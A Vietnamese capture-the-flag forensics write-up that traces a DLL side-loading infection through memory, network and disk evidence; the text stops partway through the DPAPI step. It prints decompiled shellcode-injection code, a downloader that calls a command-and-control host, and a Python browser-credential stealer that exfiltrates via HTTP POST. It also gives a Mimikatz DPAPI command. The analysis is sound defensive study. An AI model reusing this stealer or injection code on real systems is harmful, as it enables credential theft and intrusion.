# Breadcrumbs
> L3akCTF 2025

Description cho biết máy của một nhân viên bắt đầu có những biểu hiện lạ, những file lạ xuất hiện và hiệu năng hệ thông giảm xuống, ta cần phải điều tra xem đã xảy ra chuyện gì
Bài cho ta 3 file bao gồm
- File memory dump: `memdump.mem`
- File network capture: `traffic.pcapng`
- Disk image: `disk.ad1`
## Phân tích memory dump
Đầu tiên, sử dụng Volatility 3 để phân tích file memory dump, dùng plugin `windows.info` để xem thông tin về OS của máy

Có thể thấy memory image này được capture từ một máy tính sử dụng Windows 10 64 bit với thời gian cho thấy memory được trích xuất vào ngày 16/6/2025
### Liệt kê các running process
Tiếp theo ta sẽ liệt kê các process đã chạy trên máy vào thời điểm capture memory này gồm những process nào bằng plugin `windows.pslist`
Khi đó nhận thấy có 3 process khá đáng ngờ như sau

Thường thì `7za.exe` là file thực thi của tool 7-Zip, nhưng ở đây nó lại là parent process của cả `conhost.exe` và `msedge.exe` lại rất không bình thường. Bởi vì `conhost.exe` thường là child process của `cmd.exe` chứ không phải `7za.exe`. Còn `msedge.exe` là trình duyệt Microsoft Edge nên không thể mở từ một tool để nén và giải nén như 7-Zip được
### Xác định vị trí file trong bộ nhớ
Trước khi dump file đó ra thì ta cần xác định địa chỉ của nó, bằng cách sử dụng plugin `windows.filescan`. Ta sẽ lưu output ra một file txt để nhìn cho dễ

Sử dụng lệnh `cat` pipe với `grep` để tìm path của `7za.exe`

Như vậy có thể thấy nó có địa chỉ là `0xd484d8429c40`
### Dump process
Bây giờ có thể sử dụng plugin `windows.dumpfiles` để dump file đó ra

### Khám phá directory của 7za.exe
Trước khi tiếp tục thì nên kiểm tra xem cùng folder với `7za.exe` còn gì nữa không, vì thường thì kẻ tấn công sẽ đặt những payload độc hại cùng với file nhị phân để có thể exploit DLL side-loading
Trước đó ta thấy `7za.exe` được đặt ở folder Downloads, nên để tìm thì chỉ cần cat và grep `Downloads`

Có thể thấy ngay file `cryptbase.dll` ở đó
Thường thì file này là một file Windows DLL legit được sử dụng bởi Windows Crypto API để thực hiện những hàm mã hóa bậc thấp. File này thường được tìm thấy ở `C:\Windows\System32` và được load bởi nhiều process đáng tin cậy
Nhưng ở đây cryptbase.dll lại không ở System32 như đã nói bên trên, đặc biệt lại còn nằm cùng với `7za.exe`, điều này rất bất thường và có thể là DLL side-loading, khi mà file DLL độc hại giả làm một file DLL đáng tin cậy
DLL side-loading là kĩ thuật khi kẻ tấn công đặt một DLL độc hại cùng directory với một file thực thi đáng tin cậy. Khi file thực thi được chạy, nó có thể load DLL của kẻ tấn công thay vì DLL thật của hệ thống, vì cách mà Windows tìm DLL là dựa vào directory hiện tại trước. Điều này cho phép kẻ tấn công thực thi code dưới dạng một process hợp pháp, thường sẽ tránh được việc bị phát hiện
Tiếp theo ta cần dump file này ra, trước đó đã có được địa chỉ của nó là `0xd484d8922bc0`, tiếp tục sử dụng plugin windows.dumpfiles

### Reverse cryptbase.dll trong IDA
Tiếp theo ta cần RE file cryptbase.dll để hiểu hơn về nó. Load vào IDA để xem các hàm, entry point, tìm các dấu hiệu của process injection, shellcode execution hay các API call đáng nghi
```cpp
int sub_7FFED6511000()
{
HRSRC ResourceW; // rax
HRSRC v1; // rdi
DWORD v2; // ebx
HGLOBAL Resource; // rax
HRSRC v4; // rbp
SIZE_T v5; // rsi
HRSRC v6; // rdi
DWORD v7; // edx
HRSRC v8; // rcx
__int64 v9; // rax
DWORD (__stdcall *v10)(LPVOID); // rbx
HRSRC v11; // rbx
HMODULE phModule; // [rsp+50h] [rbp-B8h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-B0h] BYREF
DWORD ExitCode; // [rsp+70h] [rbp-98h] BYREF
SIZE_T NumberOfBytesWritten; // [rsp+78h] [rbp-90h] BYREF
struct _STARTUPINFOW lpStartupInfo; // [rsp+80h] [rbp-88h] BYREF
lpStartupInfo.cb = 104;
memset(&lpStartupInfo.lpReserved, 0, 96);
LODWORD(ResourceW) = CreateProcessW(
L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
0,
0,
0,
0,
4u,
0,
0,
&lpStartupInfo,
&ProcessInformation);
if ( (_DWORD)ResourceW )
{
phModule = 0;
LODWORD(ResourceW) = GetModuleHandleExW(4u, (LPCWSTR)sub_7FFED6511000, &phModule);
if ( (_DWORD)ResourceW )
{
ResourceW = FindResourceW(phModule, (LPCWSTR)0x65, L"SHELL");
v1 = ResourceW;
if ( ResourceW )
{
v2 = SizeofResource(phModule, ResourceW);
Resource = LoadResource(phModule, v1);
ResourceW = (HRSRC)LockResource(Resource);
v4 = ResourceW;
if ( ResourceW )
{
if ( v2 )
{
v5 = v2;
ResourceW = (HRSRC)VirtualAlloc(0, v2, 0x1000u, 0x40u);
v6 = ResourceW;
if ( ResourceW )
{
sub_7FFED651D400(ResourceW, v4, v2);
v7 = 0;
v8 = v6;
do
{
v8 = (HRSRC)((char *)v8 + 1);
v9 = v7++ & 0xF;
*((_BYTE *)v8 - 1) ^= aX7qp9zlma2vtej[v9];
}
while ( v7 < v2 );
ResourceW = (HRSRC)VirtualAllocEx(ProcessInformation.hProcess, 0, v2, 0x3000u, 0x40u);
v10 = (DWORD (__stdcall *)(LPVOID))ResourceW;
if ( ResourceW )
{
NumberOfBytesWritten = 0;
LODWORD(ResourceW) = WriteProcessMemory(
ProcessInformation.hProcess,
ResourceW,
v6,
v5,
&NumberOfBytesWritten);
if ( (_DWORD)ResourceW )
{
ResourceW = (HRSRC)CreateRemoteThread(ProcessInformation.hProcess, 0, 0, v10, 0, 0, 0);
v11 = ResourceW;
if ( ResourceW )
{
ExitCode = 0;
GetExitCodeThread(ResourceW, &ExitCode);
CloseHandle(v11);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
LODWORD(ResourceW) = VirtualFree(v6, 0, 0x8000u);
}
}
}
}
}
}
}
}
}
return (int)ResourceW;
}
```
Khi mở trên IDA thấy hàm `sub_7FFED6511000` thực hiện kĩ thuật process injection cổ điển sử dụng shellcode payload nhúng trong resource của DLL, sau đây là các bước chính của hàm trên:
**1. Tạo suspended process**
- Mở Microsoft Edge (`msedge.exe`) bằng `CreateProcessW` với flag`CREATE_SUSPENDED` vì argument thứ 4 được đặt là `4u`,
**2. Extract shellcode từ resource**
- Nhận resource `SHELL` với ID `0x65` qua `FindResourceW`
- Load và khóa resource bằng `LoadResource` và `LockResource`
- Giải mã shellcode bằng cách XOR nó với key 16-byte được mã hóa cứng: `aX7qp9zlma2vtej`
**3. Inject shellcode vào Edge**
- Cấp phát bộ nhớ bên trong process `msedge.exe` bằng `VirtualAllocEx`
- Viết shellcode đã được giải mã vào remote process với `WriteProcessMemory`
**4. Thực thi payload**
- Gọi `CreateRemoteThread` để chạy shellcode đã được inject bên trong process `msedge.exe` đã bị suspend
- Sau đó là dọn dẹp bộ nhớ sau khi thực thi
Có thể thấy hàm này là một hàm code injection rất tinh vi, DLL dùng `msedge.exe` để thực thi shellcode ẩn bên trong resource section của chính nó, né tránh bị phát hiện bởi sử dụng file nhị phân mà hệ thống đã tin cậy
### Extract và giải mã shellcode

Ta đã có được XOR key để giải mã, tiếp theo dùng Resource Hacker để extract resource của SHELL từ `cryptbase.dll`

Tiếp theo sử dụng script python sau để giải mã
```python=
key = b'X7qP9zLmA2VtEjC0'
with open('SHELL101.bin', 'rb') as f:
data = bytearray(f.read())
for i in range(len(data)):
data[i] ^= key[i % len(key)]
with open('decrypted_shellcode.bin', 'wb') as f:
f.write(data)
```
Khi đó có file `decrypted_shellcode.bin` chứa payload thực sự mà đã được inject vào `msedge.exe`
Khi mở file đó lên trong HxD thì thấy vài byte đầu tiên có dạng `E8 00 00 00 00 59 49 89 C8`

Những byte này là dấu hiệu rõ ràng của Shellcode Reflective DLL Injection (SRDI)
- `E8 00 00 00 00` là `call $+5`, một instruction cơ bản trong shellcode để đẩy con trỏ instruction hiện tại vào stack
- `59` là `pop rcx`, là nhận con trỏ đó
- `49 89 C8` là `mov r8, rcx`, là chuẩn bị gọi hàm
Đó là những signature của shellcode được generate bằng tool [Shellcode RDI](https://github.com/monoxgas/sRDI)

Có thể thấy `E8 00 00 00 00`, trùng với những gì đã tìm được ở file
Như vậy, `cryptbase.dll` resource được chuyển đổi thành position-independent shellcode bằng kĩ thuật ShellcodeRDI. Điều này khẳng định shellcode nhúng thực chất là để biểu diễn reflective loader của một DLL
Giờ đã xác định được format, ta có thể extract DLL gốc từ `decrypted_shellcode.bin`
### Extract DLL gốc từ shellcode
Đã biết được shellcode là ShellcodeRDI-wrapped DLL, ta có thể extract DLL được nhúng bằng cách sử dụng binwalk như sau
```bash
binwalk --extract --dd=".*" decrypted_shellcode.bin
```

- `-e`: extract
- `--dd=".*"`: extract mọi signature mà binwalk tìm thấy
Thấy `B28` là file thực thi nên ta sẽ load nó vào trong IDA

Ở hàm RunME_0 ta thấy được chức năng chính là một downloader độc hại
```cpp
...v0 = 2147483646;
if ( SHGetFolderPathA(0, 26, 0, 0, pszPath) >= 0 )
{
v1 = 260;
v2 = v40;
do
{
if ( v1 == -2147483386 )
break;
v3 = v2[pszPath - v40];
if ( !v3 )
break;
*v2++ = v3;
--v1;
}
while ( v1 );
v4 = v2 - 1;
if ( v1 )
v4 = v2;
v5 = 260;
*v4 = 0;
v6 = v40;
do
{
if ( !*v6 )
break;
++v6;
--v5;
}
while ( v5 );
v7 = 260 - v5;
if ( v5 )
{
v8 = &v40[v7];
v9 = 260 - v7;
if ( v7 != 260 )
{
v10 = 2147483646;
v11 = (char *)("\\encrypted.bin" - v8);
do
{
if ( !v10 )
break;
v12 = v8[(_QWORD)v11];
if ( !v12 )
break;
*v8 = v12;
--v10;
++v8;
--v9;
}
while ( v9 );
}
v13 = v8 - 1;
if ( v9 )
v13 = v8;
*v13 = 0;
}
URLDownloadToFileA(0, "https://10.10.70.114/encrypted.bin", v40, 0, 0);
}
v14 = 260;
v15 = v41;
do
{
if ( v14 == -2147483386 )
break;
v16 = v15[pszPath - v41];
if ( !v16 )
break;
*v15++ = v16;
--v14;
}
while ( v14 );
v17 = v15 - 1;
if ( v14 )
v17 = v15;
v18 = 260;
*v17 = 0;
v19 = v41;
do
{
if ( !*v19 )
break;
++v19;
--v18;
}
while ( v18 );
v20 = 260 - v18;
if ( v18 )
{
v21 = &v41[v20];
v22 = 260 - v20;
if ( v20 != 260 )
{
v23 = 2147483646;
v24 = (char *)("\\2.txt" - v21);
do
{
if ( !v23 )
break;
v25 = v21[(_QWORD)v24];
if ( !v25 )
break;
*v21 = v25;
--v23;
++v21;
--v22;
}
while ( v22 );
}
v26 = v21 - 1;
if ( v22 )
v26 = v21;
*v26 = 0;
}
URLDownloadToFileA(0, "https://10.10.70.114/2.txt", v41, 0, 0);
URLDownloadToFileA(0, "https://10.10.70.114/L3AK{AV_evasion_is_easy", v41, 0, 0);
result = SHGetFolderPathA(0, 7, 0, 0, v43);
if ( result >= 0 )
{
v28 = 260;
v29 = v40;
do
{
if ( v28 == -2147483386 )
break;
v30 = v29[v43 - v40];
if ( !v30 )
break;
*v29++ = v30;
--v28;
}
while ( v28 );
v31 = v29 - 1;
if ( v28 )
v31 = v29;
v32 = 260;
*v31 = 0;
v33 = v40;
do
{
if ( !*v33 )
break;
++v33;
--v32;
}
while ( v32 );
v34 = 260 - v32;
if ( v32 )
{
v35 = &v40[v34];
v36 = 260 - v34;
if ( 260 != v34 )
{
v37 = (char *)("\\sctask.exe" - v35);
do
{
if ( !v0 )
break;
v38 = v35[(_QWORD)v37];
if ( !v38 )
break;
*v35 = v38;
--v0;
++v35;
--v36;
}
while ( v36 );
}
v39 = v35 - 1;
if ( v36 )
v39 = v35;
*v39 = 0;
}
return URLDownloadToFileA(0, "https://10.10.70.114/sctasks.exe", v40, 0, 0);
}
return result;
}
```
Đoạn code này gọi API `URLDownloadToFileA` nhiều lần để nhận file từ một remote server
Nó tải các file sau từ C2 server
- `encrypted.bin`
- `2.txt`
- `sctask.exe`
Nó cũng kết nối tới `https://10.10.70.114/L3AK{AV_evasion_is_easy`
Như vậy ta đã có được part 1 của flag, đó là `L3AK{AV_evasion_is_easy`
## Phân tích traffic capture
Ta đã tìm được C2 IP là `10.10.70.114`, vì vậy khi mở file `traffic.pcapng` trên Wireshark, cần áp dụng filter `ip.addr == 10.10.70.114`

### Quan sát encrypted channel
Giao tiếp giữa `10.10.70.114` (kẻ tấn công) và `10.10.70.140` (nạn nhân) được thực hiện qua **TLS 1.2**, như đã thấy bên trên
Trong khi **TLS 1.2** vẫn được sử dụng rộng rãi và nhìn chung vẫn bảo mật, tuy nhiên nó vẫn thiếu vài biện pháp bảo mật hiện đại hơn có trong **TLS 1.3** như:
- Bảo mật chuyển tiếp theo mặc định
- Loại bỏ các mã hóa cũ và thuật toán không an toàn
- Giảm khả năng bị lộ metadata
Để hiểu rõ hơn về các tham số mã hóa, ta xét packet số 10 trong Wireshark, bao gồm các message của Server Hello, Certificate và Server Hello Done

Các trường này cung cấp thông tin chi tiết về cấu hình TLS được sử dụng bởi máy chủ do kẻ tấn công kiểm soát (`10.10.70.114`):
- TLS Version: TLS 1.2
- Cipher Suite: `TLS_RSA_WITH_AES_256_GCM_SHA384`
- Key Exchange: RSA
Cipher suite này được coi là yếu trong các tiêu chuẩn hiện đại, RSA key change thiếu tính bảo mật chuyển tiếp
### Extract và phân tích TLS Certificate
Ta đã xác định được TLS handshake, giờ có thể extract server certificate từ message `Server Hello`

Sau đó lưu vào file `my_certificate.txt`

Sau đó chuyển chuỗi hex trong đó thành nhị phân

Tiếp theo dùng `openssl` để xem chi tiết metadata và các mã hóa của nó bằng lệnh sau
```
openssl x509 -in certificate.crt -inform DER -text -noout -modulus
```
- `-in certificate.crt`: file input
- `-inform DER`: nói rằng format là binary DER
- `-text`: hiển thị certificate ở dạng người đọc được
- `-noout`: Bỏ qua output được mã hóa base64
- `-modulus`: Hiển thị public key modulus
Khi đó nó sẽ output ra như sau
```
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
76:a9:af:24:d7:1a:c3:aa:fd:d3:ca:b1:25:fd:0d:f2:90:6a:7e:76
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Validity
Not Before: Jun 15 01:09:12 2025 GMT
Not After : Jun 15 01:09:12 2026 GMT
Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1323 bit)
Modulus:
04:5e:86:65:4b:c0:a3:b7:ca:87:31:07:a3:36:f5:
27:d1:30:5f:6a:44:c8:0e:3d:54:ba:fe:d6:69:c4:
51:18:d5:c3:0c:89:c4:65:c0:cc:fb:06:0a:62:59:
22:b4:2f:9a:70:25:5f:6d:20:82:5e:3b:f8:4c:7c:
a2:9f:3f:5b:04:89:52:51:e7:0f:e8:76:a7:4c:1b:
35:83:bf:7f:3e:ae:cd:56:b4:d4:48:7c:66:b0:aa:
15:5b:b9:35:c0:a2:0d:92:5b:31:4d:07:9c:1e:91:
d5:77:53:46:c6:e4:b7:bf:0a:e1:1e:d9:3a:55:b3:
d2:6b:71:3e:25:b1:d3:16:66:0b:98:9c:df:93:5b:
e6:7f:ff:82:bc:89:00:00:00:00:00:00:00:00:00:
00:00:00:00:00:00:00:00:00:00:00:00:00:01:32:
99
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
X509v3 Authority Key Identifier:
AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
00:4b:05:2a:b4:ae:2b:7e:ad:67:70:29:7a:a7:91:e9:f9:45:
47:fb:fd:c1:43:36:69:e9:33:7e:29:61:07:71:4d:14:d8:bb:
25:8f:80:f6:6c:28:1b:6b:a8:dd:20:ab:bb:cd:89:ca:2e:76:
8b:de:6d:28:72:e0:48:4b:d5:2b:76:ff:8f:90:60:45:24:31:
e8:58:c4:17:ec:39:c5:f9:2a:cb:c2:f4:64:df:20:af:5f:42:
f4:aa:78:52:55:76:aa:04:5a:b6:aa:f4:6c:dc:6e:6f:dd:3a:
93:5b:8c:de:af:a0:ef:8f:89:8a:50:b6:78:b7:33:8e:07:6b:
4f:dc:e1:69:09:9b:b9:b7:86:45:6e:5d:71:6a:86:53:d6:b6:
f2:3b:c1:e5:65:c6:fb:45:df:b8:27:2b:df:d9:8f:27:80:b6:
34:42:ed:ec
Modulus=45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299
```
Modulus là quan trọng trong RSA, modulus (n) là một số to được suy ra từ phép nhân hai số nguyên tố lớn `(p * q)`. Độ bảo mật của nó hoàn toàn phụ thuộc vào độ khó của việc phân tích thừa số (factoring) này.
Nếu modulus yếu (quá nhỏ, kích thước không chuẩn như 1323 bit, hoặc generate ra kém), nó có thể bị phân tích thừa số, từ đó suy ra private key và giải mã được TLS traffic
### Thử factor modulus
Ta có thể check xem modulus này có đủ khỏe không bằng [FactorDB](https://factordb.com/)
RSA modulus được extract từ certificate có dạng hexadecimal như sau
`45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299`
Tiếp theo cần convert từ hex sang decimal để dùng được trong FactorDB, dùng [RapidTables Hex to Decimal Converter](https://www.rapidtables.com/convert/number/hex-to-decimal.html)
Có được giá trị decimal:
`100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078489`
Paste vào FactorDB và có được kết quả như sau

Như vậy RSA modulus extract từ TLS certificate đã được factor, ra được 2 số nguyên tố sau
- p = `10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000153`
- q = `10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513`
2 số này cho phép chúng ta xây dựng tại private key được liên kết với TLS certificate
### Xây dựng lại RSA private key
Ta đã có cả `p` và `q`, có thể generate RSA private key bằng [rsatool](https://github.com/ius/rsatool) với format lệnh là `python3 rsatool.py -p <prime_p> -q <prime_q> -o private.key`
Áp dụng với p và q đã có

### Giải mã TLS traffic trong Wireshark
Giờ ta đã xây dựng lại RSA private key thành công, có thể sử dụng nó để giải mã traffic bị mã hóa TLS trong file capture
Với file private key đã lưu dưới dạng PEM `privatekey.pem`, trong Wireshark
- Chọn `Edit` -> `Preferences`
- Mở rộng `Protocols` -> chọn `TLS`
- Chọn `Edit` trên RSA Keys List và thêm các thông tin sau
- IP address: 10.10.70.114
- Port: 443
- Protocol: Để trống
- Key File: Path đến private.key
- Password: Để trống

Apply và khởi động lại Wireshark
Giờ thì các gói tin TLS giữa kẻ tấn công và nạn nhân đã được giải mã, hiện ra plaintext của thông tin giao tiếp
### Xác định các file
Ta có thể xem các HTTP objects được trao đổi giữa 2 người, như đã thấy trước đó khi RE file `cryptbase.dll`, các file sau được tải về từ server
- `2.txt`
- `encrypted.bin`
- `sctasks.exe`
Những file này có thể thấy rõ ràng ở traffic đã được giải mã

Như vậy, kẻ tấn công đã sử dụng HTTPS traffic để chuyển nhiều payload đến máy của nạn nhân. Sau khi giải mã TLS, ta có thể extract và phân tích những file đó
### Phân tích các file
`2.txt`
- Gồm part 2 của flag
`_Mastering_forensics_`

`encrypted.bin`
- Gồm dữ liệu bị mã hóa
`sctasks.exe`
- File thực thi
Như vậy đã có được part 2 của flag
`_Mastering_forensics_`
## Phân tích disk
Tiếp theo ta sẽ phân tích disk image
### Phân tích sctasks.exe
Load vào [Detect It Easy](https://github.com/horsicq/Detect-It-Easy) để xem nó được viết bằng ngôn ngữ gì

Như vậy là python, có lẽ được đóng gói bởi tool như PyInstaller. Điều này cho thấy malware được viết payload bằng python và được convert sang `.exe` để chạy trên Windows
### Sử dụng pyinstxtractor
Tiếp theo sử dụng [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor), một script python phổ biển để extract nội dung từ các file thực thi được đóng gói với PyInstaller
- PyInstaller đóng gói script Python và tất cả các phụ thuộc của nó vào một file `.exe`,
- `pyinstxtractor.py` quét file `.exe` để tìm các header cụ thể của PyInstaller
- Sau đó nó extract các file nhúng, bao gồm script python chính và các module hỗ trợ ra một folder
- File `.pyc` được extract có thể được decompile lại thành .py bằng tool như Pylingual hay uncompyle6.

### Decompile browser_stealer.pyc
Có thể thấy file `browser_stealer.pyc`, dùng [Pylingual](https://pylingual.io/)
- Pylingual đọc một file `.pyc`
- Tự động phát hiện phiên bản python
- Xây dựng lại source code Python gốc
- Xử lý việc decompile giữa các phiên bản khác nhau, ngay cả đối với các format `.pyc` mới hơn
Sau khi decompile, ta có script Python gốc như sau
```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: browser_stealer.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64
import json
import os
import shutil
import sqlite3
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
appdata = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
browsers = {'avast': appdata + '\\AVAST Software\\Browser\\User Data', 'amigo': appdata + '\\Amigo\\User Data', 'torch': appdata + '\\Torch\\User Data', 'kometa': appdata + '\\Kometa\\User Data', 'orbitum': appdata + '\\Orbitum\\User Data', 'cent-browser': appdata + '\\CentBrowser\\User Data', '7star': appdata + '\\7Star\\7Star\\User Data', 'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': appdata + '\\Vivaldi\\User Data', 'chromium': appdata + '\\Chromium\\User Data', 'chrome-canary': appdata + '\\Google\\Chrome SxS\\User Data', 'chrome': appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data', 'msedge-dev': appdata + '\\Microsoft\\Edge Dev\\User Data', '\\uCozMedia\\Uran\\User Data': appdata + '\\Yandex\\YandexBrowser\\User Data', '\\BraveSoftware\\Brave-Browser\\User Data': appdata + '\\Iridium\\User Data', '\\CocCoc\\Browser\\User Data': roaming + '\\Opera Software\\Opera Stable', '\\Opera Software\\Opera GX Stable': roaming + '\\Opera Software\\Opera GX Stable'}
data_queries = {'login_data': {'query': 'SELECT action_url, username_value, password_value FROM logins', 'file': '\\Login Data', 'columns': ['URL', 'Email', 'Password'], 'decrypt': True}, 'credit_cards': {'query': 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards', 'file': '\\Web Data', 'columns': ['Name On Card', 'Card Number', 'Expires On', 'Added On'], 'decrypt': True}, 'cookies': {'query': 'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies', 'file': '\\Network\\Cookies', 'columns': ['Host Key', 'Cookie Name', 'Path', 'Cookie', 'Expires On'], 'decrypt': True}, 'history': {'query': 'SELECT url, title, last_visit_time FROM urls', 'file': '\\History', 'columns': ['URL', 'Title', 'Visited Time'], 'decrypt': False}, 'downloads': {'query': 'SELECT tab_url, target_path FROM downloads'
def get_master_key(path: str):
if not os.path.exists(path):
pass # postinserted
return None
def decrypt_password(buff: bytes, key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:(-16)]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
def save_results(browser_name, type_of_data, content):
if content:
url = 'http://10.10.70.114:443'
data = {'browser': browser_name, 'type': type_of_data, 'content': content}
try:
response = requests.post(url, json=data)
if response.status_code == 200:
print(f'\t [*] Data sent successfully for {browser_name}/{type_of_data}')
return None
else: # inserted
return None
except Exception as e:
print(f'\t [-] Error sending data: {e}')
return None
def decrypt_my_data(encrypted_file):
with open('encrypted.bin', 'rb') as f:
content = f.read()
iv = '1234567891011123'
encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
key = CryptUnprotectData(content, None, None, None, 0)[1]
key = bytes.fromhex(key)
cipher = AES.new(key, AES.MODE_CBC, iv)
data = cipher.decrypt(encrypted_data)
return decrypt_my_data
def get_data(path: str, profile: str, key, type_of_data):
db_file = f"{path}\\{profile}{type_of_data['file']}"
if not os.path.exists(db_file):
pass # postinserted
return None
def convert_chrome_time(chrome_time):
return (datetime(1601, 1, 1) + timedelta(microseconds=chrome_time)).strftime('%d/%m/%Y %H:%M:%S')
def installed_browsers():
available = []
for x in browsers.keys():
if os.path.exists(browsers[x] + '\\Local State'):
pass # postinserted
else: # inserted
available.append(x)
return available
if __name__ == '__main__':
available_browsers = installed_browsers()
for browser in available_browsers:
browser_path = browsers[browser]
master_key = get_master_key(browser_path)
print(f'Getting Stored Details from {browser}')
for data_type_name, data_type in data_queries.items():
print(f"\t [!] Getting {data_type_name.replace('_', ' ').capitalize()}")
notdefault = ['opera-gx']
profile = 'Default'
profile = '' if browser in notdefault else ''
data = get_data(browser_path, profile, master_key, data_type)
save_results(browser, data_type_name, data)
print('\t------\n')
```
Đoạn script này là một browser data staler, dùng để
- Extract mật khẩu, cookie, thông tin credit card, lịch sử, lịch sử download từ các Chromium-based browser
- Giải mã các credentials được lưu bằng Windows DPAPI và master key lưu ở file Local State của browser
- Gửi dữ liệu đã đánh cắp được đến remote server `http://10.10.70.114:443` bàng phương thức HTTP POST
Một số chức năng cần lưu ý:
- Nhắm đến các browser như Chrome, Edge, Brave, Opera GX,...
- Gửi dữ liệu đến C2 dưới dạng JSON (`requests.post()`)
- Hỗ trợ nhiều browser profile và loại dữ liệu (Login Data, Cookies, History,...)
- Chứa hardcoded IV và các tham chiếu để giải mã `encrypted.bin` (mà ta đã tải trước đó)
### Hàm decrypt_my_data()
Hàm này giải mã nội dung của `encrypted.bin`, có thể chứa nội dung part 3 của flag
```python=
def decrypt_my_data(encrypted_file):
with open('encrypted.bin', 'rb') as f:
content = f.read()
iv = '1234567891011123'
encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
key = CryptUnprotectData(content, None, None, None, 0)[1]
key = bytes.fromhex(key)
cipher = AES.new(key, AES.MODE_CBC, iv)
data = cipher.decrypt(encrypted_data)
return decrypt_my_data
```
- Đọc `encrypted.bin`
- Dùng `CryptUnprotectData()`, một Windows API call để giải mã nội dung của `encrypted.bin` bằng cách sử dụng Data Protection API (DPAPI). Bước này lấy được AES key dùng để giải mã
- Hardcoded IV sử dụng vector khởi tạo tĩnh (static initialization vector) (`iv = ‘1234567891011123’`) cho giải mã AES
- Giải mã `encrypted_data`, một string ciphertext hardcoded đưỡ giải mã AES ở CBC mode, hiện ra payload, có lẽ là part cuối của flag
DPAPI (Data Protection API) là một tính năng có sẵn của Windows cho phép chương trình được mã hóa và giải mã dữ liệu một cách an toàn liên quan đến một người dùng hoặc thiết bị cụ thể mà không cần phải quản lí key mã hóa một cách thủ công
Các điểm chính:
- User-bound: dữ liệu bị mã hóa chỉ có thể được giải mã bởi cùng một user account
- Sử dụng: Browser(như Chrome/Edge) sử dụng DPAPI để lưu trữ mật khẩu hay key mã hóa một cách an toàn
- Gọi thông qua `CryptProtectData()` để mã hóa, `CryptUnprotectData()` để giải mã
- Ở đây, malware sử dụng `CryptUnprotectData()` để giải mã một key mà sau đó đã giải mã `encrypted.bin`
**Master Key trong DPAPI**
Master key là một thành phần cốt lõi của DPAPI, được sử dụng để giải mã dữ liệu user-protected
Nó được generate ở mỗi người dùng và lưu trữ an toàn trong profile người dùng theo path `C:\Users\<Username>\AppData\Roaming\Microsoft\Protect\<SID>\`
Các file trong folder đó bao gồm các master key bị mã hóa liên kết đến credential logon của người dùng
Tool như [Mimikatz](https://github.com/gentilkiwi/mimikatz) có thể giải mã các key này nếu như được chạy trong trường hợp cùng người dùng, hoặc sử dụng LSA secret hoặc hash của mật khẩu người dùng
Một khi master key được giải mã, nó có thể được sử dụng để giải mã dữ liệu nhạy cảm của browser như credential hay các payload mã hóa thủ công như `encrypted.bin`
### Extract DPAPI Master Key
```
mimikatz # dpapi::masterkey /in:"" /sid: /password:
```
- `/in:"..."`: path đến file master key được mã hóa từ folder Protect
- `/sid:...`: Security Identifier (SID) của user account mà master key thuộc về. Nó phải match với bối cảnh người dùng mà master key được generate ra
- `/password:...`: Mật khẩu đăng nhập của người dùng (plaintext hoặc NTLM hash), dùng để giải mã master key. Mật khẩu này xác thực quá trình giải mã
### Extract folder Protect từ disk.ad1
Sử dụng FTK Imager để export folder ra

Bên trong thư mục con có tiếp như sau

Ta đã có `/n:"4dc3472c-8370-4831-9124-f45a6d742757"` và `/sid:S-1-5-21-2532670039-4151104164-2696135040-1001`, giờ cần `/password`
